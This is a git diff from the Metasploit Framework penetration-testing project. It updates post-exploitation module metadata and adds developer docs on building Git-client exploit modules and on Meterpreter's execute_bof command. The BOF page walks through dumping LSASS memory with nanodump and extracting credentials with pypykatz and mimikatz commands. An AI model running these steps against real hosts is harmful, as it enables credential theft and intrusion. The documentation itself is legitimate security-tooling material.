"URL-http://msdn.microsoft.com/en-us/library/aa394391(v=vs.85).aspx"
],
@@ -210760,7 +215418,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-09-23 17:41:20 +0000",
"path": "/modules/post/windows/gather/enum_patches.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_patches",
@@ -210768,6 +215426,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
@@ -210943,7 +215610,7 @@
"Keith Faber",
"Kx499"
],
"description": "This module will query the system for services and display name and\n configuration info for each returned service. It allows you to\n optionally search the credentials, path, or start type for a string\n and only return the results that match. These query operations are\n cumulative and if no query strings are specified, it just returns all\n services. NOTE: If the script hangs, windows firewall is most likely\n on and you did not migrate to a safe process (explorer.exe for\n example).",
"description": "This module will query the system for services and display name and\n configuration info for each returned service. It allows you to\n optionally search the credentials, path, or start type for a string\n and only return the results that match. These query operations are\n cumulative and if no query strings are specified, it just returns all\n services. NOTE: If the script hangs, windows firewall is most likely\n on and you did not migrate to a safe process (explorer.exe for\n example).",
"references": [
],
@@ -210953,7 +215620,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-09-09 17:27:19 +0000",
"path": "/modules/post/windows/gather/enum_services.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_services",
@@ -210961,9 +215628,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
},
@@ -210989,7 +215667,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-31 12:31:09 +0000",
"mod_time": "2022-09-02 17:34:32 +0000",
"path": "/modules/post/windows/gather/enum_shares.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_shares",
@@ -211015,7 +215693,7 @@
"needs_cleanup": null
},
"post_windows/gather/enum_snmp": {
"name": "Windows Gather SNMP Settings Enumeration (Registry)",
"name": "Windows Gather SNMP Settings",
"fullname": "post/windows/gather/enum_snmp",
"aliases": [
@@ -211027,9 +215705,10 @@
"Carlos Perez <carlos_perez@darkoperator.com>",
"Tebo <tebo@attackresearch.com>"
],
"description": "This module will enumerate the SNMP service configuration",
"description": "This module will enumerate the SNMP service configuration.",
"references": [
"MSB-MS00-096",
"URL-https://docs.microsoft.com/en-us/security-updates/securitybulletins/2000/ms00-096"
],
"platform": "Windows",
"arch": "",
@@ -211037,7 +215716,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-09-13 17:45:10 +0000",
"path": "/modules/post/windows/gather/enum_snmp.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_snmp",
@@ -211045,8 +215724,19 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"shell",
"powershell",
"meterpreter"
],
"needs_cleanup": null
@@ -211099,7 +215789,7 @@
"author": [
"Joshua Abraham <jabra@rapid7.com>"
],
"description": "This module will identify systems that have a Domain Admin (delegation) token\n on them. The module will first check if sufficient privileges are present for\n certain actions, and run getprivs for system. If you elevated privs to system,\n the SeAssignPrimaryTokenPrivilege will not be assigned, in that case try\n migrating to another process that is running as system. If no sufficient\n privileges are available, the script will not continue.",
"description": "This module enumerates Domain Admin account processes and delegation tokens.\n\n This module will first check if the session has sufficient privileges\n to replace process level tokens and adjust process quotas.\n\n The SeAssignPrimaryTokenPrivilege privilege will not be assigned if\n the session has been elevated to SYSTEM. In that case try first\n migrating to another process that is running as SYSTEM.",
"references": [
],
@@ -211109,7 +215799,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-09-22 12:04:24 +0000",
"path": "/modules/post/windows/gather/enum_tokens.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_tokens",
@@ -211117,6 +215807,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
@@ -211849,17 +216548,19 @@
"Brandon McCann \"zeknox\" <bmccann@accuvant.com>",
"Thomas McCarthy \"smilingraccoon\" <smilingraccoon@gmail.com>"
],
"description": "This module will change a registry value to enable\n the sending of LM challenge hashes and then initiate a SMB connection to\n the SMBHOST datastore. If an SMB server is listening, it will receive the\n NetLM hashes",
"description": "This module changes the system LmCompatibilityLevel registry value\n to enable sending LM challenge hashes and initiates a SMB connection\n to the host specified in the SMBHOST module option. If an SMB server\n is listening, it will receive the NetLM hashes for the session user.",
"references": [
"URL-https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks"
"URL-https://web.archive.org/web/20210311141729/https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks",
"URL-https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level",
"URL-https://support.microsoft.com/en-us/topic/security-guidance-for-ntlmv1-and-lm-network-authentication-da2168b6-4a31-0088-fb03-f081acde6e73"
],
"platform": "",
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-01-28 20:35:57 +0000",
"mod_time": "2022-10-01 22:35:11 +0000",
"path": "/modules/post/windows/gather/netlm_downgrade.rb",
"is_install_path": true,
"ref_name": "windows/gather/netlm_downgrade",
@@ -211867,9 +216568,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
"config-changes"
]
},
"session_types": [
"meterpreter"
"meterpreter",
"shell",
"powershell"
],
"needs_cleanup": null
},
@@ -212313,7 +217025,7 @@
"needs_cleanup": null
},
"post_windows/gather/wmic_command": {
"name": "Windows Gather Run Specified WMIC Command",
"name": "Windows Gather Run WMIC Commands",
"fullname": "post/windows/gather/wmic_command",
"aliases": [
@@ -212324,7 +217036,7 @@
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This module will execute a given WMIC command options or read\n WMIC commands options from a resource file and execute the commands in the\n specified Meterpreter session.",
"description": "This module executes WMIC commands on the specified host.",
"references": [
],
@@ -212334,7 +217046,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-12-23 11:36:38 +0000",
"mod_time": "2022-09-23 00:25:13 +0000",
"path": "/modules/post/windows/gather/wmic_command.rb",
"is_install_path": true,
"ref_name": "windows/gather/wmic_command",
@@ -212342,6 +217054,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
@@ -212478,7 +217199,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/post/windows/manage/change_password.rb",
"is_install_path": true,
"ref_name": "windows/manage/change_password",
@@ -212859,7 +217580,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-08 12:56:52 +0000",
"mod_time": "2022-09-23 17:41:20 +0000",
"path": "/modules/post/windows/manage/forward_pageant.rb",
"is_install_path": true,
"ref_name": "windows/manage/forward_pageant",
@@ -213127,7 +217848,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-09-07 14:01:53 +0000",
"path": "/modules/post/windows/manage/killav.rb",
"is_install_path": true,
"ref_name": "windows/manage/killav",
@@ -213135,9 +217856,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"os-resource-loss"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
},
@@ -213345,7 +218077,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-19 14:54:07 +0000",
"mod_time": "2022-10-01 17:54:59 +0000",
"path": "/modules/post/windows/manage/persistence_exe.rb",
"is_install_path": true,
"ref_name": "windows/manage/persistence_exe",
@@ -213357,11 +218089,11 @@
"crash-safe"
],
"Reliability": [
"artifacts-on-disk",
"config-changes"
"repeatable-session"
],
"SideEffects": [
"repeatable-session"
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
@@ -213792,7 +218524,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-09-19 17:31:51 +0000",
"path": "/modules/post/windows/manage/rollback_defender_signatures.rb",
"is_install_path": true,
"ref_name": "windows/manage/rollback_defender_signatures",
@@ -213800,6 +218532,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"service-resource-loss"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
+9
View File
@@ -293,6 +293,15 @@ module Build
'@scanner',
'@yieldparam',
'@yieldreturn',
'@compressed',
'@content',
'@path',
'@sha1',
'@type',
'@git_repo_uri',
'@git_addr',
'@git_objs',
'@refs',
]
# Replace any dangling github usernames, i.e. `@foo` - but not `[@foo](http://...)` or `email@example.com`
@@ -7,7 +7,7 @@ However, tackling core Metasploit Framework bugs or particularly squirrelly expl
Metasploit is a tool by and for hackers, but the hackers that maintain it also happen to be software engineers. So, we have some hopefully easy-to-remember Do's and Don'ts in [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md). Read up on those.
# Making Your First PR
Our preferred method of module submission is via a git pull request from a feature branch on your own fork of Metasploit. You can learn more about making your first PR at [Creating Your First PR]
Our preferred method of module submission is via a git pull request from a feature branch on your own fork of Metasploit. You can learn more about making your first PR at [[Creating Your First PR]]
# Server exploits
@@ -84,6 +84,10 @@ OptSomething.new(option_name, [boolean, description, value, *enums*], aliases: *
* **conditions** - *optional*, *key-word only* An array of a condition for which the option should be displayed. This
can be used to hide options when they are irrelevant based on other configurations. See the [Filtering datastore
options](#Filtering-datastore-options) section for more information.
* **fallbacks** *optional*, *key-word only* An array of names that will be used as a fallback if the main option name is
defined by the user. This is useful in the scenario of wanting specialised option names such as `SMBUser`, but to also
support gracefully checking a list of more generic fallbacks option names such as `Username`. This functionality is
currently behind a feature flag, set with `features set datastore_fallbacks true` in msfconsole
Now let's talk about what classes are available:
@@ -0,0 +1,399 @@
This page walks through the process of creating an exploit module for vulnerable Git clients.
### Building a Repository
Many of the existing Git exploits in Metasploit rely on being able to host a valid repository that a Git client can successfully clone. So to get started with building an exploit, the contents of the repo need to be decided on first.
Let's say that the repository is something like the following:
```
space@vm:~/test-repo$ ls -al
total 20
drwxrwxr-x 4 space space 4096 Sep 16 14:06 .
drwxr-x--- 23 space space 4096 Sep 16 14:05 ..
drwxrwxr-x 2 space space 4096 Sep 16 14:06 dir
-rw-rw-r-- 1 space space 10 Sep 16 14:06 file.txt
drwxrwxr-x 7 space space 4096 Sep 16 14:06 .git
space@vm:~/test-repo$ ls -al dir
total 12
drwxrwxr-x 2 space space 4096 Sep 16 14:06 .
drwxrwxr-x 4 space space 4096 Sep 16 14:06 ..
-rw-rw-r-- 1 space space 5 Sep 16 14:06 test_file.txt
```
The `.git` directory is the only component of the repository that won't be sent,
so the repository will consist of the `file.txt`, the `dir` folder, and the `test_file.txt` file that lives within the `dir` folder. Every file and directory inside the repo is represented as a Git object: File contents are represented as blob objects which get coupled together to form a tree object. Lastly, a commit object is created to hold information about the tree object, including the tree's sha, the author of the commit, a commit message, etc.
There will need to be two tree objects to represent the contents of `dir` and the contents
of the root of the repository. Starting with the contents of `dir`, a blob object
needs to be created to represent the contents of `test_file.txt`:
```
space@vm:~/test-repo$ cat dir/test_file.txt
test
```
The [Git mixin][1] contains the functionality for building a Git object.
To build a blob object, the `build_blob_object()` class method should be used:
```
>> contents = "test\n"
=> "test\n"
>> blob = Msf::Exploit::Git::GitObject.build_blob_object(contents)
=>
#<Msf::Exploit::Git::GitObject:0x00007fe163c75cd0
```
The resulting object will contain the object type, its original contents,
its compressed contents, its sha, and its path (where the commit object will
be stored client side). Since this will be the only file in the `dir` folder,
the tree object can be created with `Msf::Exploit::Git::GitObject.build_tree_object()`.
A tree object is represented differently, holding information about each file contained
in the directory, such as file permissions, file name, object type, and the file's sha1 hash.
Because of that, the `build_tree_object()` expects a hash or an array of hashes,
where each hash looks like the following:
```
>> tree_entry =
{
mode: '100644',
file_name: 'test_file.txt',
sha1: blob.sha1
}
```
And using that, the tree object can now be created:
```
>> tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_entry)
=>
#<Msf::Exploit::Git::GitObject:0x00007fe161b0cd78
```
Now that the `dir` folder is represented in Git objects, we can represent the root
of the repository. That just requires creating a `blob` object for `file.txt`,
creating a `tree` object representing the top-level directory, and finally a commit object.
Again, a blob object needs to be created to represent the contents of the remaining file:
```
space@vm:~/test-repo$ cat file.txt
some text
```
```
>> contents = "some text\n"
=> "some text\n"
>> file_blob = Msf::Exploit::Git::GitObject.build_blob_object(contents)
=>
#<Msf::Exploit::Git::GitObject:0x00007fe163bf54b8
...
```
Then, a new tree object needs to be created to represent the top-level directory,
which includes `file.txt` and the `dir` folder:
```
?> entries = [
?> {
?> mode: '100644',
?> file_name: 'file.txt',
?> sha1: file_blob.sha1
?> },
?> {
?> mode: '040000',
?> file_name: 'dir',
?> sha1: tree_object.sha1
?> }
>> ]
=> [{:mode=>"100644", :file_name=>"file.txt", :sha1=>"b649a9bf89116c581f8329b8ec3c79a86a70...
>> top_level_obj = Msf::Exploit::Git::GitObject.build_tree_object(entries)
```
The `build_commit_object()` method takes a hash that expects the sha1 hash for
the tree created, the sha1 hash for the parent commit if one exists, and optional
data such as an author name, email address, company name, commit message, etc.
If the user chooses not to pass in data for the optional data, `Faker` will generate
random data for them.
```
>> commit_object = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: top_level_obj.sh
a1)
=>
#<Msf::Exploit::Git::GitObject:0x00007fe1533ac848
...
>> commit_object
=>
#<Msf::Exploit::Git::GitObject:0x00007fe1533ac848
@compressed=
"x\x9C\x95\xCEA\x0E\xC2 \x10\x05P\xD7\x9Cb<@\r\x1DZ\xCA\xC2\x18\xE3\xCE\xA8g0XF!\xB6\xD0\x00]x{I\xED\x05\\\xCD\xE4'\xF3\xFE\xF4a\x1C]\x06\x14j\x93#\x11pe\b\el5u]cL#\xD1\x18\xC9\x05\x97\x92\x04*\xF3h\xA5P}\xC7\x89\xE99\xDB\x10\xE1\xEA\x92\xF6&j\xB8\xCC\x93\xD5\x03\xEC\xDF\xCB\xBC\x0Fk~\xB43\ri\xE7)\x1F\xA0\xAEU[\x10l\x05T\x85\xE4\xAC_\xCA3\xFD\xC7\xA8\x0E%\nQ\xE3\xAA\xB0\xB3w\xD9\x95\xA3\x1F\a9@\x98\xC8\xC3\xAB\xEC\x91\xA6\x90\\\x0E\xF1\x03\xCF\xF2\xED\xC9\xF9T\xDD\x82\x8D[\xF6\x05s\xF7P\x89",
@content=
"tree 08de2425ae774dd462dd603066e328db5638c70e\nauthor Lisandra Kuphal <kuphal_lisandra@huels.net> 1185328253 -0300\ncommitter Lisandra Kuphal <kuphal_lisandra@huels.net> 872623312 -0300\n\nInitial commit to open git repository for Bins-Mohr!\n",
@path="01/8856fe17403b0991e5d1d3eb7f62dca4d8e951",
@sha1="018856fe17403b0991e5d1d3eb7f62dca4d8e951",
@type="commit">
```
That's all that is needed to create a valid repository in Metasploit.
### Hosting the Repository
Metasploit's current implementation of the Git protocol works over HTTP ([SmartHttp docs][3]),
so to host a malicious repository with Metasploit, the exploit module needs to
leverage the `Msf::Exploit::Remote::HttpServer` mixin. Additionally,
the [Git][1] and [Git SmartHttp][2] mixins need to be included to build objects
and create appropriate responses for the client's requests.
The module should look similar to other exploit modules that use the HttpServer mixin,
defining an `on_request_uri()` method, a `primer()` method, and an `exploit()` method.
The `primer()` method is first to execute, so setup for things like the repository uri
can happen there:
```ruby
# Creates a random uri for the Git repo, ensuring that there are no spaces
def create_git_uri
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')
end
# Uses GIT_URI datastore option or randomly generates a repo URI
# Registers the URI with the http server and prints the entire path that client should pass to git clone
def primer
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)
print_status("Git repository to clone: #{@git_addr}")
hardcoded_uripath(@git_repo_uri)
end
```
Next, the `exploit()` method can be used to set up the repository.
The code used in the `Building a Repository` section can be placed here
before entering the listen / accept loop.
The `on_request_uri()` method is where most of the module logic will live.
No matter what the client sends, the request should first be parsed
by `Msf::Exploit::Git::SmartHttp::Request.parse_raw_request()`.
The `parse_raw_request()` method will format the request so it is easier to work with.
The first request that a client will send when cloning a repository is a reference
discovery request. The client will expect things like server capabilities and the
reference that `HEAD` points to in the response. Since this is a simple repo only one
branch will exist, so `HEAD` will point to `refs/heads/master` and `refs/heads/master`
will point to the latest commit in the repo, which in this case is the only commit
in the repo. This can be represented as the following hash:
```ruby
refs =
{
'HEAD' => 'refs/heads/master',
'refs/heads/master' => commit_object.sha1
}
```
Creating a proper response to a `ref-discovery` request is done through
`Msf::Exploit::Git::SmartHttp.get_ref_discovery_response()`. It takes two parameters:
The request object from `parse_raw_request()` and the above `refs` hash.
After the response is built, it can be sent back to the client.:
```ruby
response = get_ref_discovery_response(request, @refs)
cli.send_response(response)
```
If the client successfully receives the `ref-discovery` response,
it will then send an `upload-pack` request. The `upload-pack` request is a `POST`
request containing the client's capabilities and a 'want' list for objects in
the repository. To create a proper response, the `Msf::Exploit::Git::SmartHttp.get_upload_pack_response()`
method should be used. Again, this method accepts two arguments. The first is the
parsed request from the client, and the second is an array of all objects that exist
in the repo. The `get_upload_pack_response()` method will check the sha1 hash of
each object against the hashes in the want list that the client sent and send only
the requested object hashes.
```ruby
response = get_upload_pack_response(request, @git_objs)
cli.send_response(response)
```
Upon receiving the `upload-pack` response from the server,
the client will build out the repository.
Putting it all together, the module should look something like the following:
```ruby
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Git
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Git Clone Test',
'Description' => %q{
},
'License' => MSF_LICENSE,
'Author' => [ ],
'References' => [ ],
'DisclosureDate' => '2022-09-22',
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'Notes' => {}
)
)
register_options(
[
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
]
)
deregister_options('RHOSTS', 'RPORT')
end
def exploit
setup_repo_structure
super
end
def setup_repo_structure
# create blob object for contents of 'test_file.txt'
contents = "test\n"
blob = Msf::Exploit::Git::GitObject.build_blob_object(contents)
# create tree object representing 'test_file.txt' in 'dir' folder
tree_entry =
{
mode: '100644',
file_name: 'test_file.txt',
sha1: blob.sha1
}
tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_entry)
# create blob object for contents of 'file.txt'
contents = "some text\n"
file_blob = Msf::Exploit::Git::GitObject.build_blob_object(contents)
# create tree object representing top-level directory of repo
entries =
[
{
mode: '100644',
file_name: 'file.txt',
sha1: file_blob.sha1
},
{
mode: '040000',
file_name: 'dir',
sha1: tree_object.sha1
}
]
top_level_obj = Msf::Exploit::Git::GitObject.build_tree_object(entries)
# create commit
commit_object = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: top_level_obj.sha1)
# create list of objects in repository, as the
# client will request them to build the repository
@git_objs =
[
commit_object, top_level_obj, tree_object,
file_blob, tree_object, blob
]
@refs =
{
'HEAD' => 'refs/heads/master',
'refs/heads/master' => commit_object.sha1
}
end
def create_git_uri
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')
end
def primer
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)
print_status("Git repository to clone: #{@git_addr}")
hardcoded_uripath(@git_repo_uri)
end
def on_request_uri(cli, req)
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
case request.type
when 'ref-discovery'
response = get_ref_discovery_response(request, @refs)
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid ref-discovery request') unless response
when 'upload-pack'
response = get_upload_pack_response(request, @git_objs)
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid upload-pack request') unless response
else
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
end
cli.send_response(response)
end
end
```
### Running the module
The module will start the http server and print the repo to clone
```
msf6 > use exploit/multi/http/git_clone_test
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/git_clone_test) > set srvport 9999
srvport => 9999
msf6 exploit(multi/http/git_clone_test) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(multi/http/git_clone_test) > set srvhost 192.168.140.1
srvhost => 192.168.140.1
msf6 exploit(multi/http/git_clone_test) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/git_clone_test) > [*] Started reverse TCP handler on 192.168.140.1:4444
[*] Using URL: http://192.168.140.1:9999/MOYuJfC
[*] Server started.
[*] Git repository to clone: http://192.168.140.1:9999/y-find.git
```
Once the repository is cloned, you should expect to see the same contents as the `test-repo` at the beginning of this document:
```
space@ubuntu:~$ git clone http://192.168.140.1:9999/y-find.git
Cloning into 'y-find'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (6/6), 401 bytes | 200.00 KiB/s, done.
space@ubuntu:~$ cd y-find
space@ubuntu:~/y-find$ ls -al
total 20
drwxrwxr-x 4 space space 4096 Sep 22 12:05 .
drwxr-x--- 22 space space 4096 Sep 22 12:05 ..
drwxrwxr-x 2 space space 4096 Sep 22 12:05 dir
-rw-rw-r-- 1 space space 10 Sep 22 12:05 file.txt
drwxrwxr-x 8 space space 4096 Sep 22 12:05 .git
space@ubuntu:~/y-find$ cat dir/test_file.txt
test
space@ubuntu:~/y-find$ cat file.txt
some text
```
[1]: https://github.com/rapid7/metasploit-framework/blob/b1a6d9d30778bed11276ac8685f88d0a4dc98e19/lib/msf/core/exploit/git.rb
[2]: https://github.com/rapid7/metasploit-framework/blob/b1a6d9d30778bed11276ac8685f88d0a4dc98e19/lib/msf/core/exploit/git/smart_http.rb
[3]: https://git-scm.com/docs/http-protocol
@@ -0,0 +1,154 @@
This guide outlines how to use the Meterpreter `execute_bof` command as provided by the `bofloader` extension. It allows
a Meterpreter session to execute "Beacon Object Files" or BOF files for short. A BOF is a
[Common Object File Format][1] (COFF) executable file with an API of standard functions defined in [beacon.h][2].
The `bofloader` extension is only available for the Windows native Meterpreter, i.e. it is unavailable in the Java
Meterpreter even when running on the Windows platform.
# Execution Environment
**Warning:** The execution environment is shared with the Meterpreter process. If there is an exception or the BOF
crashes, the Meterpreter session will die. It is suggested that users invoke this functionality through a dedicated
session to avoid losing access altogether.
The loader and execution environment are provided by [trustedsec/COFFLoader][3]. The extension is therefor subject to
the same limitations.
The following functions are unavailable:
* `BeaconDataPtr`
* `BeaconUseToken`<sup>1</sup>
* `BeaconRevertToken`<sup>1</sup>
* `BeaconIsAdmin`
* `BeaconInjectProcess`
* `BeaconInjectTemporaryProcess`
<sup>1</sup> The token functions are defined and present, but will only effect the execution of the BOF and not the
Meterpreter runtime environment.
Currently, there is only one output stream. All output data processed by `BeaconOutput` and `BeaconPrintf` is combined
into that stream. BOFs should not use this for outputting binary data.
# Usage
The `bofloader` extension provides exactly one command, through which all of the provided functionality is accessed.
`execute_bof </path/to/bof_file> [Options] -- [BOF Arguments]`
* `-c` / `--compile` -- Compile the input file (requires mingw).
* `-e` / `--entry` -- The entry point (default: `go`).
* `-f` / `--format-string` -- Argument format-string. See details below.
## Compile
The compile option will use a local mingw instance to compile the input file into a COFF file for execution. The
standard [beacon.h][2] file will be in the include path automatically. In this case, the input file is treated as a C
source file instead of compiled data.
## Entry Point
Once loaded the loader will call the BOF entry point. By default, this value is `go`. The entry point option can change
it to another valid function to call instead.
## Argument Format-String
The `execute_bof` command is capable of serializing arguments to be sent to the BOF for execution. The user must define
the data type of each argument that the BOF file expecting to see. This information would come from either reading the
BOF's documentation or source code. **Incorrectly specifying the arguments or omitting them entirely can result in the
BOF crashing and the Meterpreter session dying.**
BOF argument types are defined in the format string argument with `-f` / `--format-string`.
The following table describes each of the types.
| Type | Description | Unpack With (C) |
| --------|-----------------------------------------------------------------|-------------------------------|
| b | binary data (e.g. 01020304, file:/path/to/file.bin)<sup>1</sup> | BeaconDataExtract |
| i | 32-bit integer (e.g. 0x1234, 5678)<sup>2</sup> | BeaconDataInt |
| s | 16-bit integer (e.g. 0x1234, 5678)<sup>2</sup> | BeaconDataShort |
| z | null-terminated utf-8 string | BeaconDataExtract |
| Z | null-terminated utf-16 string | (wchar_t *)BeaconDataExtract |
<sup>1</sup> Binary data arguments are specified as either a stream of hex characters or as the path to a file local to
the Metasploit Framework instance. In the case of a file path, it must be prefixed with `file:`.
<sup>2</sup> Integer arguments are specified as either decimal or hexadecimal literals.
Unknown arguments are treated as BOF arguments. Additionally, any arguments after the `--` terminator are explicitly
treated as BOF arguments. Using the terminator allows ambiguous arguments to such as `--help` to be forward to the BOF
instead of being processed locally. The number of BOF arguments to be forward must equal number of characters in the
argument format string.
# Usage Examples
Executing [dir][4], passing the path argument and number of sub-directories to list.
```
meterpreter > execute_bof CS-Situational-Awareness-BOF/SA/dir/dir.x64.o --format-string Zs C:\\ 0
Contents of C:\*:
08/05/2022 15:17 <dir> $Recycle.Bin
08/05/2022 15:16 <junction> Documents and Settings
09/22/2022 08:35 1342177280 pagefile.sys
08/05/2022 16:48 <dir> PerfLogs
09/08/2022 12:51 <dir> Program Files
09/15/2018 05:06 <dir> Program Files (x86)
08/05/2022 15:26 <dir> ProgramData
09/07/2022 10:24 <dir> Python27
08/05/2022 15:16 <dir> Recovery
08/05/2022 15:40 <dir> System Volume Information
08/05/2022 15:16 <dir> Users
09/01/2022 13:49 <dir> Windows
1342177280 Total File Size for 1 File(s)
11 Dir(s)
meterpreter >
```
Executing [nanodump][5]. First the PID of LSASS is found, then the argument string is constructed. The output must be
written to disk. Once completed, the dump file can be downloaded from the remote host.
```
meterpreter > ps lsass
Filtering on 'lsass'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
712 556 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
meterpreter > execute_bof nanodump.x64.o --format-string iziiiiiiiiziiiz 712 nanodump.dmp 1 1 0 0 0 0 0 0 "" 0 0 0 ""
Done, to download the dump run:
download nanodump.dmp
to get the secretz run:
python3 -m pypykatz lsa minidump nanodump.dmp
mimikatz.exe "sekurlsa::minidump nanodump.dmp" "sekurlsa::logonPasswords full" exit
meterpreter > download nanodump.dmp
[*] Downloading: nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 1.00 MiB of 11.56 MiB (8.65%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 2.00 MiB of 11.56 MiB (17.31%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 3.00 MiB of 11.56 MiB (25.96%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 4.00 MiB of 11.56 MiB (34.62%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 5.00 MiB of 11.56 MiB (43.27%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 6.00 MiB of 11.56 MiB (51.92%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 7.00 MiB of 11.56 MiB (60.58%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 8.00 MiB of 11.56 MiB (69.23%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 9.00 MiB of 11.56 MiB (77.89%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 10.00 MiB of 11.56 MiB (86.54%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 11.00 MiB of 11.56 MiB (95.2%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 11.56 MiB of 11.56 MiB (100.0%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] download : nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
meterpreter >
```
# References
* [hstechdocs.helpsystems.com/manuals/cobaltstrike][6] for Cobalt Strike's BOF documentation
* [beacon.h][2] source code for the BOF API
* [TrustedSec/COFFLoader][3] for the source code of the loader
* [trustedsec/CS-Situational-Awareness-BOFF][7] for a collection of useful BOFs
